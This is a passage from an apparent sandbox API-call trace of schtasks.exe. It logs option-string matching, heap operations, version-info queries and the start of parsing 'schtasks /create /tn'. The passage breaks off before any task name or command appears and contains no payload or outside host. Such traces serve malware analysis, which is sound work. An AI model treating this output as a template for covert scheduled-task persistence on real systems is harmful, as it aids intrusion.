(_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.682] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|change|") returned 8 [0108.682] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|f|") returned 3 [0108.682] lstrlenW (lpString="|change|") returned 8 [0108.682] lstrlenW (lpString="|f|") returned 3 [0108.682] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0108.682] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.682] lstrlenW (lpString="run") returned 3 [0108.682] lstrlenW (lpString="run") returned 3 [0108.682] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.682] lstrlenW (lpString="f") returned 1 [0108.682] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.682] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|run|") returned 5 [0108.682] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|f|") returned 3 [0108.682] lstrlenW (lpString="|run|") returned 5 [0108.682] lstrlenW (lpString="|f|") returned 3 [0108.682] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0108.682] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.682] lstrlenW (lpString="end") returned 3 [0108.682] lstrlenW (lpString="end") returned 3 [0108.682] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.683] lstrlenW (lpString="f") returned 1 [0108.683] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.683] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|end|") returned 5 [0108.683] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|f|") returned 3 [0108.683] lstrlenW (lpString="|end|") returned 5 [0108.683] lstrlenW (lpString="|f|") returned 3 [0108.683] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0108.683] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.683] lstrlenW (lpString="showsid") returned 7 [0108.683] lstrlenW (lpString="showsid") returned 7 [0108.683] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.683] lstrlenW (lpString="f") returned 1 [0108.683] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.683] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|showsid|") returned 9 [0108.683] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|f|") returned 3 [0108.683] lstrlenW (lpString="|showsid|") returned 9 [0108.683] lstrlenW (lpString="|f|") returned 3 [0108.683] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0108.683] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.683] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.683] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.683] lstrlenW (lpString="/f") returned 2 [0108.683] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0108.683] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.684] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.684] lstrlenW (lpString="/f") returned 2 [0108.684] GetProcessHeap () returned 0x208f92d0000 [0108.684] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x6) returned 0x208f92d4350 [0108.684] GetProcessHeap () returned 0x208f92d0000 [0108.684] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92dba70 [0108.684] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.684] GetProcessHeap () returned 0x208f92d0000 [0108.684] GetProcessHeap () returned 0x208f92d0000 [0108.684] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d3f10) returned 1 [0108.684] GetProcessHeap () returned 0x208f92d0000 [0108.684] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d3f10) returned 0x8 [0108.684] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d3f10) returned 1 [0108.684] GetProcessHeap () returned 0x208f92d0000 [0108.684] GetProcessHeap () returned 0x208f92d0000 [0108.685] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92dbaa0) returned 1 [0108.685] GetProcessHeap () returned 0x208f92d0000 [0108.685] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92dbaa0) returned 0x20 [0108.685] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92dbaa0) returned 1 [0108.690] GetProcessHeap () returned 0x208f92d0000 [0108.690] GetProcessHeap () returned 0x208f92d0000 [0108.690] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92db9e0) returned 1 [0108.691] GetProcessHeap () returned 0x208f92d0000 [0108.691] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92db9e0) returned 0x22 [0108.691] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92db9e0) returned 1 [0108.691] GetProcessHeap () returned 0x208f92d0000 [0108.691] GetProcessHeap () returned 0x208f92d0000 [0108.691] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92dbb00) returned 1 [0108.691] GetProcessHeap () returned 0x208f92d0000 [0108.691] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92dbb00) returned 0x20 [0108.692] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92dbb00) returned 1 [0108.692] GetProcessHeap () returned 0x208f92d0000 [0108.692] GetProcessHeap () returned 0x208f92d0000 [0108.692] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d4290) returned 1 [0108.692] GetProcessHeap () returned 0x208f92d0000 [0108.692] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d4290) returned 0x8 [0108.692] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d4290) returned 1 [0108.692] GetProcessHeap () returned 0x208f92d0000 [0108.692] GetProcessHeap () returned 0x208f92d0000 [0108.692] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92db6e0) returned 1 [0108.692] GetProcessHeap () returned 0x208f92d0000 [0108.692] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92db6e0) returned 0x20 [0108.693] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92db6e0) returned 1 [0108.693] GetProcessHeap () returned 0x208f92d0000 [0108.693] GetProcessHeap () returned 0x208f92d0000 [0108.693] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d42b0) returned 1 [0108.693] GetProcessHeap () returned 0x208f92d0000 [0108.693] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d42b0) returned 0x10 [0108.693] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d42b0) returned 1 [0108.693] GetProcessHeap () returned 0x208f92d0000 [0108.693] GetProcessHeap () returned 0x208f92d0000 [0108.693] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92db650) returned 1 [0108.693] GetProcessHeap () returned 0x208f92d0000 [0108.693] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92db650) returned 0x20 [0108.694] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92db650) returned 1 [0108.694] GetProcessHeap () returned 0x208f92d0000 [0108.694] GetProcessHeap () returned 0x208f92d0000 [0108.694] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d42d0) returned 1 [0108.694] GetProcessHeap () returned 0x208f92d0000 [0108.694] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d42d0) returned 0x8 [0108.694] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d42d0) returned 1 [0108.694] GetProcessHeap () returned 0x208f92d0000 [0108.694] GetProcessHeap () returned 0x208f92d0000 [0108.694] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92db7a0) returned 1 [0108.694] GetProcessHeap () returned 0x208f92d0000 [0108.694] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92db7a0) returned 0x20 [0108.695] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92db7a0) returned 1 [0108.695] GetProcessHeap () returned 0x208f92d0000 [0108.695] GetProcessHeap () returned 0x208f92d0000 [0108.695] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d3ba0) returned 1 [0108.695] GetProcessHeap () returned 0x208f92d0000 [0108.695] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d3ba0) returned 0x4a [0108.695] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d3ba0) returned 1 [0108.695] GetProcessHeap () returned 0x208f92d0000 [0108.695] GetProcessHeap () returned 0x208f92d0000 [0108.695] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92db890) returned 1 [0108.695] GetProcessHeap () returned 0x208f92d0000 [0108.696] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92db890) returned 0x20 [0108.696] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92db890) returned 1 [0108.696] GetProcessHeap () returned 0x208f92d0000 [0108.696] GetProcessHeap () returned 0x208f92d0000 [0108.696] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d4330) returned 1 [0108.696] GetProcessHeap () returned 0x208f92d0000 [0108.696] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d4330) returned 0x8 [0108.696] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d4330) returned 1 [0108.696] GetProcessHeap () returned 0x208f92d0000 [0108.696] GetProcessHeap () returned 0x208f92d0000 [0108.696] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92db710) returned 1 [0108.696] GetProcessHeap () returned 0x208f92d0000 [0108.696] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92db710) returned 0x20 [0108.697] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92db710) returned 1 [0108.697] GetProcessHeap () returned 0x208f92d0000 [0108.697] GetProcessHeap () returned 0x208f92d0000 [0108.697] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92daae0) returned 1 [0108.697] GetProcessHeap () returned 0x208f92d0000 [0108.697] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92daae0) returned 0x10 [0108.697] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92daae0) returned 1 [0108.697] GetProcessHeap () returned 0x208f92d0000 [0108.697] GetProcessHeap () returned 0x208f92d0000 [0108.697] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92db500) returned 1 [0108.697] GetProcessHeap () returned 0x208f92d0000 [0108.697] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92db500) returned 0x20 [0108.698] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92db500) returned 1 [0108.698] GetProcessHeap () returned 0x208f92d0000 [0108.698] GetProcessHeap () returned 0x208f92d0000 [0108.698] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d4350) returned 1 [0108.698] GetProcessHeap () returned 0x208f92d0000 [0108.698] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d4350) returned 0x6 [0108.698] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d4350) returned 1 [0108.698] GetProcessHeap () returned 0x208f92d0000 [0108.698] GetProcessHeap () returned 0x208f92d0000 [0108.698] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92dba70) returned 1 [0108.698] GetProcessHeap () returned 0x208f92d0000 [0108.698] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92dba70) returned 0x20 [0108.699] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92dba70) returned 1 [0108.699] GetProcessHeap () returned 0x208f92d0000 [0108.699] GetProcessHeap () returned 0x208f92d0000 [0108.699] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92d4a30) returned 1 [0108.699] GetProcessHeap () returned 0x208f92d0000 [0108.699] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92d4a30) returned 0x18 [0108.699] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92d4a30) returned 1 [0108.700] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.700] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0108.700] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0108.700] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0108.700] RtlVerifyVersionInfo (VersionInfo=0x13e077c240, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0108.700] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.700] lstrlenW (lpString="create") returned 6 [0108.700] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0108.700] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.700] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.700] lstrlenW (lpString="create") returned 6 [0108.700] GetProcessHeap () returned 0x208f92d0000 [0108.700] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92db890 [0108.700] GetProcessHeap () returned 0x208f92d0000 [0108.700] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x18) returned 0x208f92dabe0 [0108.703] _memicmp (_Buf1=0x208f92dabe0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.703] GetProcessHeap () returned 0x208f92d0000 [0108.703] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x16) returned 0x208f92da980 [0108.703] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.703] _memicmp (_Buf1=0x208f92d47d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.703] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x208f92d9b10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0108.703] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x13e077c398 | out: lpdwHandle=0x13e077c398) returned 0x76c [0108.704] GetProcessHeap () returned 0x208f92d0000 [0108.704] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x776) returned 0x208f92dbd50 [0108.704] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x208f92dbd50 | out: lpData=0x208f92dbd50) returned 1 [0108.704] VerQueryValueW (in: pBlock=0x208f92dbd50, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x13e077c330, puLen=0x13e077c390 | out: lplpBuffer=0x13e077c330*=0x208f92dc100, puLen=0x13e077c390) returned 1 [0108.704] _memicmp (_Buf1=0x208f92d47d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.704] _vsnwprintf (in: _Buffer=0x208f92d9b10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x13e077c308 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0108.704] VerQueryValueW (in: pBlock=0x208f92dbd50, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x13e077c320, puLen=0x13e077c388 | out: lplpBuffer=0x13e077c320*=0x208f92dbf30, puLen=0x13e077c388) returned 1 [0108.704] lstrlenW (lpString="schtasks.exe") returned 12 [0108.705] lstrlenW (lpString="schtasks.exe") returned 12 [0108.705] lstrlenW (lpString=".EXE") returned 4 [0108.705] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0108.705] lstrlenW (lpString="schtasks.exe") returned 12 [0108.705] lstrlenW (lpString=".EXE") returned 4 [0108.705] lstrlenW (lpString="schtasks") returned 8 [0108.705] lstrlenW (lpString="/create") returned 7 [0108.705] _memicmp (_Buf1=0x208f92d47d0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.705] _vsnwprintf (in: _Buffer=0x208f92d9b10, _BufferCount=0x19, _Format="%s %s", _ArgList=0x13e077c308 | out: _Buffer="schtasks /create") returned 16 [0108.705] _memicmp (_Buf1=0x208f92d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.705] GetProcessHeap () returned 0x208f92d0000 [0108.705] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92db8f0 [0108.705] _memicmp (_Buf1=0x208f92d4810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.705] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x208f92dbb40, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0108.705] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0108.705] GetProcessHeap () returned 0x208f92d0000 [0108.705] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x30) returned 0x208f92d4330 [0108.705] _vsnwprintf (in: _Buffer=0x208f92d3870, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x13e077c308 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0108.705] GetProcessHeap () returned 0x208f92d0000 [0108.705] GetProcessHeap () returned 0x208f92d0000 [0108.705] HeapValidate (hHeap=0x208f92d0000, dwFlags=0x0, lpMem=0x208f92dbd50) returned 1 [0108.705] GetProcessHeap () returned 0x208f92d0000 [0108.705] RtlSizeHeap (HeapHandle=0x208f92d0000, Flags=0x0, MemoryPointer=0x208f92dbd50) returned 0x776 [0108.706] RtlFreeHeap (HeapHandle=0x208f92d0000, Flags=0x0, BaseAddress=0x208f92dbd50) returned 1 [0108.707] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.707] GetThreadLocale () returned 0x409 [0108.707] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.707] lstrlenW (lpString="create") returned 6 [0108.707] GetThreadLocale () returned 0x409 [0108.707] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.707] lstrlenW (lpString="?") returned 1 [0108.707] GetThreadLocale () returned 0x409 [0108.707] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.707] lstrlenW (lpString="s") returned 1 [0108.707] GetThreadLocale () returned 0x409 [0108.707] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.707] lstrlenW (lpString="u") returned 1 [0108.707] GetThreadLocale () returned 0x409 [0108.707] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.707] lstrlenW (lpString="p") returned 1 [0108.707] GetThreadLocale () returned 0x409 [0108.707] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.707] lstrlenW (lpString="ru") returned 2 [0108.707] GetThreadLocale () returned 0x409 [0108.707] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.707] lstrlenW (lpString="rp") returned 2 [0108.707] GetThreadLocale () returned 0x409 [0108.707] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.707] lstrlenW (lpString="sc") returned 2 [0108.707] GetThreadLocale () returned 0x409 [0108.708] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.708] lstrlenW (lpString="mo") returned 2 [0108.708] GetThreadLocale () returned 0x409 [0108.708] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.708] lstrlenW (lpString="d") returned 1 [0108.708] GetThreadLocale () returned 0x409 [0108.708] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.708] lstrlenW (lpString="m") returned 1 [0108.708] GetThreadLocale () returned 0x409 [0108.708] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.708] lstrlenW (lpString="i") returned 1 [0108.708] GetThreadLocale () returned 0x409 [0108.708] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.708] lstrlenW (lpString="tn") returned 2 [0108.708] GetThreadLocale () returned 0x409 [0108.708] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.708] lstrlenW (lpString="tr") returned 2 [0108.708] GetThreadLocale () returned 0x409 [0108.708] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.708] lstrlenW (lpString="st") returned 2 [0108.708] GetThreadLocale () returned 0x409 [0108.708] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.708] lstrlenW (lpString="sd") returned 2 [0108.708] GetThreadLocale () returned 0x409 [0108.708] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.708] lstrlenW (lpString="ed") returned 2 [0108.708] GetThreadLocale () returned 0x409 [0108.709] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.709] lstrlenW (lpString="it") returned 2 [0108.709] GetThreadLocale () returned 0x409 [0108.709] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.709] lstrlenW (lpString="et") returned 2 [0108.709] GetThreadLocale () returned 0x409 [0108.709] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.709] lstrlenW (lpString="k") returned 1 [0108.709] GetThreadLocale () returned 0x409 [0108.709] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.709] lstrlenW (lpString="du") returned 2 [0108.709] GetThreadLocale () returned 0x409 [0108.709] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.709] lstrlenW (lpString="ri") returned 2 [0108.709] GetThreadLocale () returned 0x409 [0108.709] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.709] lstrlenW (lpString="z") returned 1 [0108.709] GetThreadLocale () returned 0x409 [0108.709] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.709] lstrlenW (lpString="f") returned 1 [0108.709] GetThreadLocale () returned 0x409 [0108.709] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.709] lstrlenW (lpString="v1") returned 2 [0108.709] GetThreadLocale () returned 0x409 [0108.709] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.709] lstrlenW (lpString="xml") returned 3 [0108.709] GetThreadLocale () returned 0x409 [0108.710] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.710] lstrlenW (lpString="ec") returned 2 [0108.710] GetThreadLocale () returned 0x409 [0108.710] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.710] lstrlenW (lpString="rl") returned 2 [0108.710] GetThreadLocale () returned 0x409 [0108.710] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.710] lstrlenW (lpString="delay") returned 5 [0108.710] GetThreadLocale () returned 0x409 [0108.710] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.710] lstrlenW (lpString="np") returned 2 [0108.710] GetThreadLocale () returned 0x409 [0108.710] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.710] lstrlenW (lpString="hresult") returned 7 [0108.710] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.710] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.710] lstrlenW (lpString="/create") returned 7 [0108.710] lstrlenW (lpString="-/") returned 2 [0108.710] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0108.710] lstrlenW (lpString="create") returned 6 [0108.710] lstrlenW (lpString="create") returned 6 [0108.710] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.710] lstrlenW (lpString="create") returned 6 [0108.710] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.710] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|create|") returned 8 [0108.710] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13e077c318 | out: _Buffer="|create|") returned 8 [0108.711] lstrlenW (lpString="|create|") returned 8 [0108.711] lstrlenW (lpString="|create|") returned 8 [0108.711] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0108.711] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.711] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.711] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.711] lstrlenW (lpString="/tn") returned 3 [0108.711] lstrlenW (lpString="-/") returned 2 [0108.711] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0108.711] lstrlenW (lpString="create") returned 6 [0108.711] lstrlenW (lpString="create") returned 6 [0108.711] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.711] lstrlenW (lpString="tn") returned 